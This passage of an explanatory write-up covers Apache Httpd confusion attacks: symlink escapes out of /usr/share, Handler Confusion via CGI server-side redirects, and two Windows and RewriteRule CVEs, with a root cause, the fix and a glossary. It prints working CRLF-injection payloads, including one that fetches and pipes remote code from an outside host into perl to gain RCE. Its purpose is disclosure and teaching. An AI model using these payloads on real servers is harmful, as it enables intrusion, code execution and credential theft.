For RCE, the primitive can reapply known attacks. RCE stands for remote code execution: running the attacker's own code on the server. An old PHPUnit left behind by development or a third-party dependency can be exploited with CVE-2017-9841 to execute arbitrary code. A read-only copy of phpLiteAdmin, whose default password is admin, is another route.
Step 6: Jailbreak out of /usr/share
A symbolic link (symlink) is a file that points to another file or folder, like a shortcut. Debian and Ubuntu enable FollowSymLinks by default, and other distributions allow symbolic links implicitly. Any package with a symbolic link in its installation directory that points outside /usr/share becomes a stepping stone. The researcher lists these:
- Cacti Log:
/usr/share/cacti/site/->/var/log/cacti/ - Solr Data:
/usr/share/solr/data/->/var/lib/solr/data - Solr Config:
/usr/share/solr/conf/->/etc/solr/conf/ - MediaWiki Config:
/usr/share/mediawiki/config/->/var/lib/mediawiki/config/ - SimpleSAMLphp Config:
/usr/share/simplesamlphp/config/->/etc/simplesamlphp/
Redmine shows a double hop. Its instances/ folder points to /var/lib/redmine/, and inside that, default/config/ points to /etc/redmine/default/, which holds the database settings and the secret key. Through an insecure RewriteRule and two symbolic links, the application secret key can be read. Redmine is a Ruby on Rails application, and the content of secret_key.txt is the key used for signing and encryption. The next step is familiar from Rails attacks: embed malicious Marshal objects, sign and encrypt them with the known key, place them in cookies, and reach remote code execution through server-side deserialisation.

The image accompanies the Redmine chain: reading the secret key through two symbolic links, then using it to sign malicious cookies and reach RCE through deserialisation.
A cookie is a small piece of data a website stores in your browser and gets back on every request. Deserialisation is the process of turning stored data back into objects in memory; if the data is attacker-controlled, it can become code execution.
Handler Confusion
A handler is the module that actually processes a request once Httpd has decided what kind of file it is. To run classic mod_php, both of these directives work:
Line by line:
AddType application/x-httpd-php .phpsays: files ending in.phphave the content typeapplication/x-httpd-php.AddHandler application/x-httpd-php .phpsays: files ending in.phpare handled by the handler namedapplication/x-httpd-php.
The two names refer to different fields: r->handler and r->content_type. They are interchangeable because of code that has been in Httpd since its early development in 1996, at server/config.c#L420. Before ap_run_handler() is entered, if r->handler is empty, the value of r->content_type is used as the handler. That is why AddType and AddHandler behave identically.
Why does this matter? Because r->content_type is also the field that holds the Content-Type header of the response. A header is a line of metadata sent with a request or response, like Content-Type: text/html. If an attacker can control the response's Content-Type, they can choose which handler runs.
Step 7: Overwrite the handler to disclose PHP source
When a target uses AddType to run PHP, a normal request for http://server/config.php causes mod_mime, during the type_checker phase, to copy the content type into r->content_type based on the extension. r->handler is never assigned, so ap_invoke_handler() uses r->content_type and calls mod_php.
If any module overwrites r->content_type before ap_invoke_handler(), the handler changes. Max Dmitriev described this at ZeroNights 2021: sending an incorrect Content-Length triggers an unexpected error, and the server returns the PHP source code. Content-Length is a header that tells the server how many bytes are in the request body. The cause is ModSecurity not handling the AP_FILTER_ERROR return value from the Apache Portable Runtime (APR) library, producing a double response. ModSecurity is a web application firewall module for Httpd. APR is a support library that Httpd uses for low-level tasks. A double response is when the server sends two responses for one request, which confuses everything downstream.

The image accompanies the description of the double response caused by ModSecurity mishandling AP_FILTER_ERROR, which overwrites r->content_type to text/html.
Because ModSecurity mishandled the return value, the lifecycle that should have stopped continued, and the overwritten content type made files that should be processed as PHP be served as plain documents, exposing source code and sensitive settings. In theory every configuration based on Content-Type is affected, including php-cgi with mod_actions as in Max's slides, and pure mod_php with AddType.
The side effect was corrected as a request parser bug in Httpd 2.4.44, which treated the issue as fixed. The root cause, ModSecurity's error handling, remains, so the behaviour can be reproduced if another code path triggers AP_FILTER_ERROR. The issue was reported to ModSecurity through the official security mail on 6/20, and the Project Co-Leader suggested continuing in the original GitHub issue.
Further exploitation of this primitive exists but is withheld until the issue is fully fixed.
Step 8: Invoke arbitrary handlers through a server-side redirect
The deeper problem is that Httpd cannot distinguish the semantics of r->content_type: the field can be set by a directive during the request phase or used as the Content-Type header of the response. If the response's Content-Type can be controlled, the legacy code can be used to invoke any module handler. The obstacle is timing: modifications to r->content_type from the response happen after the legacy code.
RFC 3875, Section 6.2.2, provides the way around it. An RFC is a formal document that describes how internet protocols should work. RFC 3875 describes CGI. It says a CGI script can return a URI path and query string in a Location header, and the server should reprocess the request using that path. This is called a server-side redirect: the server internally re-runs the request against a different path without telling the browser.
In mod_cgi (modules/generators/mod_cgi.c#L983), the script is executed and its output scanned to set headers such as Status and Content-Type. If the status is 200 and Location starts with /, the response is treated as a server-side redirect and processed internally. ap_internal_redirect_handler() (modules/http/http_request.c#L800) creates a new request structure, copies the current r->content_type into it, processes the lifecycle, and calls ap_invoke_handler(), where the legacy transformation happens. In a server-side redirect, control of the response headers therefore means invocation of any handler in Httpd.
All CGI implementations in Httpd follow this behaviour:
- mod_cgi
- mod_cgid
- mod_wsgi
- mod_uwsgi
- mod_fastcgi
- mod_perl
- mod_asis
- mod_fcgid
- mod_proxy_scgi
- …
Two real-world ways to trigger the redirect are CRLF injection in CGI response headers, which overwrites existing headers with new lines, and an SSRF that fully controls response headers, such as a project hosted on mod_wsgi like django-revproxy. CRLF stands for carriage return and line feed, the two characters that end a line in HTTP headers. Injecting them lets an attacker add new headers. The demonstrations below use the CRLF injection.
Step 9: Arbitrary handler to information disclosure
The built-in server-status handler is normally reachable only locally. server-status is a page that shows what the server is doing right now, including current requests and internal details. Overwriting the content type makes it reachable remotely:
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a
Line by line:
http://server/cgi-bin/redir.cgi?r=http://is the request to a CGI script calledredir.cgi, which takes a parameterrcontaining a URL to redirect to.%0d%0ais the URL-encoded form of CRLF. It ends the current header line and starts a new one.Location:/ooois a new header injected by the attacker. It tells the server to internally redirect to/ooo.Content-Type:server-statusis another injected header. It sets the content type toserver-status, which the legacy code will interpret as the handler name.%0d%0aon its own line ends the headers.

The image accompanies the request that overwrites Content-Type to server-status, making the normally local-only status page reachable remotely.
Step 10: Arbitrary handler to misinterpret scripts
An image with a legitimate extension can be turned into a PHP backdoor by naming mod_php as the handler:
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/uploads/avatar.webp %0d%0a
Content-Type:application/x-httpd-php %0d%0a
%0d%0a
Line by line:
- The first line is the same CGI request with a CRLF injection.
Location:/uploads/avatar.webppoints the internal redirect at an uploaded image.Content-Type:application/x-httpd-phptells the legacy code to use the PHP handler.- The final
%0d%0aends the headers.
Why does this matter? Because the image was uploaded as a normal image and passed any check that only looks at the extension. The handler confusion makes the server run it as PHP anyway.
Step 11: Arbitrary handler to full SSRF
Calling mod_proxy to reach any protocol on any URL is straightforward:
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:http://example.com/%3F %0d%0a
%0d%0a
Line by line:
Location:/ooopoints the internal redirect at a local path.Content-Type:proxy:http://example.com/%3Fsets the content type to a proxy URL. The%3Fis an encoded question mark, which the proxy uses to separate the target from the rest.- The final
%0d%0aends the headers.
This is a full-control SSRF: all request headers can be set and all responses read. One limitation is that mod_proxy adds an X-Forwarded-For header, which the metadata protection mechanisms of EC2 and GCP block. Cloud metadata is an internal service that cloud providers expose to virtual machines, often containing credentials. X-Forwarded-For is a header that records the original client address.
Step 12: Arbitrary handler to a local Unix domain socket
mod_proxy can also reach local Unix domain sockets. A Unix domain socket is a communication channel between two programs on the same machine, identified by a file path rather than a network address. This demonstration reaches PHP-FPM's socket to execute a PHP backdoor in /tmp/:
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://[redacted]/tmp/ooo.php %0d%0a
%0d%0a
Line by line:
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://[redacted]/tmp/ooo.phptells the proxy to connect to the local socket/run/php/php-fpm.sockand speak FastCGI to it, asking it to run/tmp/ooo.php.- The final
%0d%0aends the headers.
The researcher notes further potential, such as protocol smuggling, including smuggling FastCGI inside HTTP or HTTPS.
Step 13: Arbitrary handler to RCE
The official PHP Docker image includes PEAR, and its Pearcmd.php entry point allows further exploitation, as described in Phith0n's article on Docker PHP LFI. PEAR is a package manager for PHP. The chain uses a command injection in run-tests:
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://[redacted]/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Line by line:
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.phpis the injected Location header.%2bis the URL-encoded form of+, which PEAR's argument parser treats as a separator.run-testsis a PEAR command that runs tests.-uiis an option.$(curl${IFS}orange.tw/x|perl)is a shell command substitution: it downloads a file fromorange.tw/xand pipes it toperl, which runs it.${IFS}is a shell variable that holds the field separator (usually a space), used here to avoid a literal space.alltests.phpis the test file argument.Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://[redacted]/usr/local/lib/php/pearcmd.phptells the proxy to run PEAR's command-line entry point through the local PHP-FPM socket.- The final
%0d%0aends the headers.

The image accompanies the full RCE chain through PEAR and the local PHP-FPM socket.
CRLF injection and header injection are often reported as XSS, and they can chain to account takeover through SSO, but as this chain shows, they can also lead to server-side RCE. SSO stands for single sign-on: one login that works across many sites.
Other vulnerabilities
CVE-2024-38472: Windows UNC-based SSRF
The Windows implementation of apr_filepath_merge() allows UNC paths, which lets an attacker coerce NTLM authentication to any host. A UNC path is a Windows network path like \\server\share. NTLM is a Windows authentication protocol. When a Windows machine tries to open a UNC path, it automatically sends NTLM authentication to the target host. If the attacker controls that host, they can capture the authentication and relay it elsewhere. There are two triggering paths.
The first is the HTTP request parser. Direct triggering requires additional configuration, which often appears with Tomcat (mod_jk, mod_proxy_ajp) or with PATH_INFO. Tomcat is a Java web server. PATH_INFO is the part of a URL after the script name. Because Httpd rewrote its core request parser after 2.4.49, versions above that need an additional configuration. Two %5C force Httpd to coerce NTLM authentication to an attacker-controlled server, and the SSRF can be converted into RCE through NTLM relay. %5C is the URL-encoded form of a backslash \. NTLM relay is an attack where the attacker forwards captured authentication to another server to log in as the victim.

The image accompanies the two %5C technique forcing Httpd to coerce NTLM authentication to an attacker-controlled server.
The second is the Type-Map, enabled by default in the Debian and Ubuntu distribution of Httpd. A Type-Map is a file that maps file extensions to MIME types. Uploading a .var file and setting its URI field to a UNC path also forces NTLM authentication to the attacker. The researcher calls this the second .var trick.
CVE-2024-39573: SSRF via full control of the RewriteRule prefix
When the prefix of a RewriteRule substitution target in Server Config or a VirtualHost is fully controllable, mod_proxy and its sub-modules can be invoked. A URL can delegate the request to mod_proxy. Administrators who test the rule properly would find such rules impractical, so the issue was originally reported together with another vulnerability as an exploit chain, but the security team treated the behaviour as a security boundary fix. After the patches, other researchers applied the same behaviour to Windows UNC and obtained another CVE.
Root cause
The common root cause is shared mutable state with ambiguous meaning. r->filename is documented as a filesystem path but is treated as a URL by mod_rewrite and mod_proxy, so access control decisions made on the path and the actual file opened can differ. mod_rewrite always tries both the DocumentRoot-prefixed and unprefixed path, which turns a controllable substitution prefix into filesystem access. r->content_type doubles as a directive-set handler and as a response header, and the 1996 fallback that copies it into the handler when r->handler is empty lets response headers select internal handlers, especially across a server-side redirect where the value is copied into the new request. The ModSecurity double response shows the same pattern: a module fails to stop the lifecycle on AP_FILTER_ERROR, and the error path overwrites a field another module trusts.
Existing defences did not stop these because the access control, the rewrite engine and the proxy each made locally reasonable decisions on a field whose meaning they did not share. The default Require all denied for / limits direct filesystem reads, but the Debian and Ubuntu allowance for /usr/share and the default FollowSymLinks reopen the path.
Impact
The primitives reach access control and authentication bypass for single files protected by Files under PHP-FPM, disclosure of CGI and PHP source code, information disclosure, XSS, LFI, SSRF and RCE, depending on the configuration and installed packages. The Redmine chain reaches RCE through a known secret key and Rails deserialisation. The Handler Confusion chains reach server-status, PHP execution of uploaded images, full-control SSRF, local Unix sockets and RCE through PEAR in the official PHP image. The Windows UNC issue coerces NTLM authentication and can be relayed to RCE. The researcher notes that the update is not backward compatible, so administrators who update without care may disrupt existing configurations and cause downtime.
Fix
The vulnerabilities were addressed in Httpd 2.4.60, published on 2024-07-01. The side effect was corrected as a request parser bug in 2.4.44, but the root cause in ModSecurity's error handling remains, and the issue was reported to ModSecurity on 6/20. Akamai released mitigation measures immediately after publication. The researcher believes that unless Httpd undergoes architectural improvements or adopts better development standards, more confusions will appear.
Variants to test
- Single-file
Filesprotection with PHP-FPM. Request the protected file with%3Fand a dummy suffix, as inadmin.php%3Fooo.php. A positive result is the protected script executing instead of a 403 or a login prompt. RewriteRulewith a controllable prefix. Try reaching a file outside the DocumentRoot through the rule, then append%3Fto drop the rule's extension. A positive result is the content of a file that the rule's extension should have prevented.- PHP enabled per virtual host. Request a PHP file through a virtual host that does not enable PHP. A positive result is the source code instead of execution.
/usr/sharegadgets. Request the listed paths (dump-env.php,setup.php,help.html,show-source.php,proxy.php,getcsv.php,magpie_debug.php). A positive result is environment variables,phpinfo()output, script execution, file contents or an outbound request.- Symbolic links under
/usr/share. Follow the listed links (Cacti, Solr, MediaWiki, SimpleSAMLphp, Redmine) to reach logs, configuration and secret keys. A positive result is content from outside/usr/share. AddTypebased PHP with a controllable response header. Trigger a double response or anotherAP_FILTER_ERRORpath. A positive result is PHP source code in the response.- CGI with CRLF injection or header-controlling SSRF. Set
Locationto a local path andContent-Typetoserver-status,application/x-httpd-php,proxy:...orproxy:unix:.... A positive result is the chosen handler running, for exampleserver-statusoutput, execution of an uploaded image, an outbound request, or execution through a local socket. - Windows targets. Send
%5Csequences through the request parser or upload a.varfile with a UNC URI. A positive result is an outbound NTLM authentication attempt to a host you control. - Fully controllable
RewriteRuleprefix. Craft a URL that delegates tomod_proxy. A positive result is the request being proxied to a destination of your choice.
Glossary
- Apache HTTP Server (Httpd): The web server software that answers browser requests for many websites.
- Module: A small program that plugs into Httpd to do one job, like serving files or running PHP.
- request_rec: The shared record that describes one request and is passed between modules.
- Confusion Attack: A bug where two modules disagree about what a shared field means, letting an attacker exploit the disagreement.
- CVE: A public identifier for a known security vulnerability.
- Filesystem path: The location of a file on disk, like
/var/www/index.html. - URL: A web address, like
http://example.com/page. - Query string: The part of a URL after a question mark, carrying extra data.
- mod_rewrite: The Httpd module that rewrites one path into another.
- RewriteRule: A configuration line that says "when a request matches this pattern, rewrite it to this target".
- Directive: A line of configuration telling Httpd what to do.
- Regular expression: A pattern for matching text.
- Flag: An extra instruction attached to a rewrite rule.
- ACL: Access control list; a rule saying who can see what.
- mod_proxy: The Httpd module that forwards requests to other servers or sockets.
- PHP-FPM: A separate PHP process that Httpd forwards requests to.
- FastCGI: A protocol for talking to PHP.
- Socket: A local communication channel between two programs.
- DocumentRoot: The folder on disk that Httpd treats as the root of the website.
- Virtual host: One website among several hosted on the same server.
- CGI: An older way of running programs on a web server.
- Gadget: An existing piece of code on the system that an attacker can reuse.
- Environment variable: A setting the operating system passes to programs, often including secrets.
- XSS: Cross-site scripting; injecting code into a page so a visitor's browser runs it.
- LFI: Local file inclusion; making a program read a file it was not supposed to read.
- SSRF: Server-side request forgery; making the server send a request to a destination of the attacker's choosing.
- RCE: Remote code execution; running the attacker's own code on the server.
- Symbolic link: A file that points to another file or folder, like a shortcut.
- Cookie: A small piece of data a website stores in your browser and gets back on every request.
- Deserialisation: Turning stored data back into objects in memory; dangerous if the data is attacker-controlled.
- Handler: The module that actually processes a request once Httpd has decided what kind of file it is.
- Header: A line of metadata sent with a request or response.
- Content-Length: A header telling the server how many bytes are in the request body.
- ModSecurity: A web application firewall module for Httpd.
- APR: Apache Portable Runtime; a support library Httpd uses for low-level tasks.
- Double response: When the server sends two responses for one request.
- RFC: A formal document describing how internet protocols should work.
- Server-side redirect: The server internally re-runs a request against a different path without telling the browser.
- CRLF: Carriage return and line feed, the two characters that end a line in HTTP headers.
- Cloud metadata: An internal service cloud providers expose to virtual machines, often containing credentials.
- X-Forwarded-For: A header recording the original client address.
- Unix domain socket: A communication channel between two programs on the same machine, identified by a file path.
- PEAR: A package manager for PHP.
- SSO: Single sign-on; one login that works across many sites.
- UNC path: A Windows network path like
\\server\share. - NTLM: A Windows authentication protocol.
- NTLM relay: An attack where the attacker forwards captured authentication to another server to log in as the victim.
- Tomcat: A Java web server.
- PATH_INFO: The part of a URL after the script name.
- Type-Map: A file that maps file extensions to MIME types.
- CORS: A browser mechanism that lets one website ask another for data.
- Preflight request: A small check the browser sends before a CORS request.